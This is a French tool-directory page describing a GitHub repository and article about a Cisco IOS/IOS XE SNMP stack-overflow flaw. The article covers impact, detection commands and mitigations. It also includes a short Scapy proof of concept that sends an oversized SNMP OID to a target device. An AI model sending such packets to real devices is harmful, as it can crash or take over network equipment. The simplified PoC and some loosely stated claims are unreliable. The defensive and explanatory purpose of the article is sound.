Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/mrk336/snmpocalypse-cisco-bug-lets-hackers-crash-or-command-devices
Frameworks d'ExploitationAnalyse des VulnérabilitésExploitationSécurité RéseauTests d'IntrusionApprentissage et Éducation
GitHubmrk336/snmpocalypse-cisco-bug-lets-hackers-crash-or-command-devices

SNMPocalypse-Cisco-Bug-Lets-Hackers-Crash-or-Command-Devices

Voir le dépôt
119il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

À propos

CVE-2023-20352 est une faille critique de débordement de pile dans le moteur SNMP de Cisco IOS/IOS XE. Avec simplement des paquets SNMP spécialement conçus, des attaquants distants peuvent faire planter les systèmes ou prendre le contrôle root. Toutes les versions SNMP sont vulnérables : patchez maintenant ou risquez une compromission totale.

Partager

SNMPocalypse - Le bug Cisco qui permet aux pirates de faire planter ou de prendre le contrôle des appareils

CVE-2023-20352 est une faille critique de débordement de pile dans le moteur SNMP de Cisco IOS/IOS XE. Avec seulement des paquets SNMP élaborés, des attaquants distants peuvent faire planter les systèmes ou prendre le contrôle root. Toutes les versions de SNMP sont vulnérables. Patchez maintenant ou risquez une compromission totale.

Par Mark Malllia

Introduction à SNMP

Le protocole simple de gestion de réseau (SNMP) est un protocole fondamental pour l'administration réseau, permettant aux administrateurs système de surveiller, configurer et gérer les périphériques réseau. Il fonctionne sur les ports 161 (pour les requêtes SNMP) et 162 (pour les traps). SNMP prend en charge trois versions : v1, v2c et v3, chacune offrant différents niveaux de sécurité. Celui-ci me touche particulièrement, car ma thèse portait sur SNMP et Cisco reste un élément incontournable de mon travail quotidien.

L'utilité de SNMP s'étend à la surveillance en temps réel, à la gestion des inventaires et à la détection des pannes sur les réseaux. Malgré son importance, le rôle de SNMP dans la gestion réseau pose également des risques de sécurité lorsqu'il n'est pas correctement sécurisé, comme le montre la vulnérabilité CVE-2023-20352.

Ce qui a mal tourné : explication de CVE-2023-20352

CVE-2023-20352 est une faille de débordement de tampon basée sur la pile de haute sévérité affectant les appareils Cisco IOS et IOS XE. Elle réside dans le sous-système SNMP, qui traite le trafic de gestion réseau.

Détails techniques :

  • Type de vulnérabilité : Débordement de tampon basé sur la pile (CWE-121)
  • Score CVSS : 7,7 (Élevé)
  • Impact : Potentiel déni de service (DoS) ou exécution de code à distance (RCE)

La vulnérabilité est déclenchée par des paquets SNMP élaborés envoyés à un appareil vulnérable, provoquant un contrôle incorrect des limites et un débordement de pile. Toutes les versions de SNMP sont concernées.

Scénarios d'exploitation

  1. Attaque à faibles privilèges :

    • Accès requis : Chaîne en lecture seule SNMPv2c ou identifiants SNMPv3.
    • Impact : Redémarrage de l'appareil (DoS).
  2. Attaque à hauts privilèges :

    • Accès requis : Chaîne SNMPv1/v2c avec des identifiants de privilège 15.
    • Impact : RCE complète en tant que root.

Détection et vérification

Pour détecter les vulnérabilités, les administrateurs peuvent utiliser les commandes CLI suivantes :

show running-config | include snmp-server community
show running-config | include snmp-server group
show snmp

Verrouillez-le : mesures d'atténuation

  • Application des correctifs : Cisco a publié des correctifs de firmware pour les plates-formes concernées.
  • Restreindre l'accès SNMP : Limitez l'accès aux adresses IP de confiance si ce n'est pas déjà fait.
  • Désactiver les OID vulnérables : Utilisez des commandes comme snmp-server view <nom-vue> <OID> excluded.

Comment les attaquants peuvent l'exploiter

Une preuve de concept (PoC) conceptuelle utilisant Python et Scapy démontre l'exploitabilité :

from scapy.all import *

# Remplacez par l'IP cible et la chaîne communauté SNMP
target_ip = "192.168.1.1"
community = "public"

# Créer un paquet malveillant
payload = b"A" * 1024  # Débordement du tampon
packet = IP(dst=target_ip)/UDP(dport=161)/SNMP(community=community, PDU=SNMPget(varbindlist=[SNMPvarbind(oid=payload)]))

send(packet)

Remarque : Il s'agit d'un exemple simplifié. L'exploitation réelle nécessite un façonnage précis de la charge utile et une élévation de privilèges.

Conclusion

La vulnérabilité CVE-2023-20352 souligne le rôle critique de SNMP et les risques associés. Les organisations doivent prioriser l'application des correctifs et la sécurisation des configurations SNMP pour atténuer les menaces, assurant ainsi la résilience du réseau face aux attaques émergentes.

Télécharger l’outil